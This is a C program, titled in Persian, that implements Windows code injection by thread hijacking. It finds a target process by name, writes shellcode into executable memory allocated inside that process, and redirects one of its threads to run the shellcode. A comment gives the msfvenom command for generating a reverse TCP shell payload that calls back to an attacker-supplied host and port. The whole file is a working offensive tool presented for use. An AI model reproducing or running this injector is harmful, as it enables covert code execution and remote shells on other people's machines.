تزریق کد با تکنیک Thread Hijacking

#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <tlhelp32.h>

unsigned char shellcode[] = "SHELL REVERSE TCP SHELLCODE";
/* shellcode is generated using :
	msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f c -o shellcode.c
*/

int findMyProc(const char *procname) {

  HANDLE hSnapshot;
  PROCESSENTRY32 pe;
  int pid = 0;
  BOOL hResult;

  // snapshot of all processes in the system
  hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if (INVALID_HANDLE_VALUE == hSnapshot) return 0;

  // initializing size: needed for using Process32First
  pe.dwSize = sizeof(PROCESSENTRY32);

  // info about first process encountered in a system snapshot
  hResult = Process32First(hSnapshot, &pe);

  // retrieve information about the processes
  // and exit if unsuccessful
  while (hResult) {
    // if we find the process: return process ID
    if (strcmp(procname, pe.szExeFile) == 0) {
      pid = pe.th32ProcessID;
      break;
    }
    hResult = Process32Next(hSnapshot, &pe);
  }

  // closes an open handle (CreateToolhelp32Snapshot)
  CloseHandle(hSnapshot);
  return pid;
}

DWORD findThreadInProcess (DWORD pid){
	DWORD result = 0;
	
	/* get snapshot of all threads in system */
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD , 0);
	
	THREADENTRY32 thread = { 0 };
	thread.dwSize = sizeof(THREADENTRY32);
	
	/* enumarating each thread of system */
	result = Thread32First(snapshot , &thread);
	
	while (result){
		
		/* check if this thread belongs to our target process 
			by checking its owner process ID */
		if (thread.th32OwnerProcessID == pid){
			/* this is our thread 🙂 */
			return thread.th32ThreadID;
		}
		result = Thread32Next(snapshot , &thread);
		
	}
		
	return 0;
	
}


int main (int argc , char ** argv){
	
	if (argc < 2){
		printf ("USAGE : %s <TARGET PROCESS NAME>\n" , argv[0]);
		return -1;
	}
	
	/* Obtaining PID of target process */
	DWORD pid = findMyProc(argv[1]);
	if (!pid){
		printf ("[-] I couldn't find %s\n" , argv[1]);
		return -1;
	}
	/* ******************************* */
	
	HANDLE target_process = OpenProcess(PROCESS_ALL_ACCESS , 0 , pid);
	
	/* allocating space for shellcode in target process */
	void *address = VirtualAllocEx(target_process , 0 , sizeof(shellcode) , MEM_RESERVE | MEM_COMMIT , PAGE_EXECUTE_READWRITE);
	
	/* writing shellcode to allocated area in target process */
	DWORD written ;
	WriteProcessMemory(target_process , (void*)address , (void*)shellcode , sizeof(shellcode) , &written);
	printf ("[+] %d bytes of shellcode written in targert process\n" , written);
	
	
	/* Hijacking a thread inside target process */
	DWORD tid = findThreadInProcess (pid)	;
	printf("[+] PID : %d\n[+] TID : %d\n" ,pid ,  tid);
	
	HANDLE thread = OpenThread(THREAD_ALL_ACCESS , 0 , tid);
	
	SuspendThread(thread) ;
	
	/* getting context of thread in target process */
	CONTEXT context;
	context.ContextFlags = CONTEXT_FULL;
	GetThreadContext(thread , &context);

	/* change EIP to injected shellcode (for 32 bit windows) */
	context.Eip = (DWORD)address ;
	
	/* if we were on 64 bit windows :
	context.Rip = (DWORD_PTR)address;
	*/
	
	/* setting changed context to target thread */
	SetThreadContext(thread , &context);
	ResumeThread(thread);
	/* **************************************** */
	
	return 0 ;
}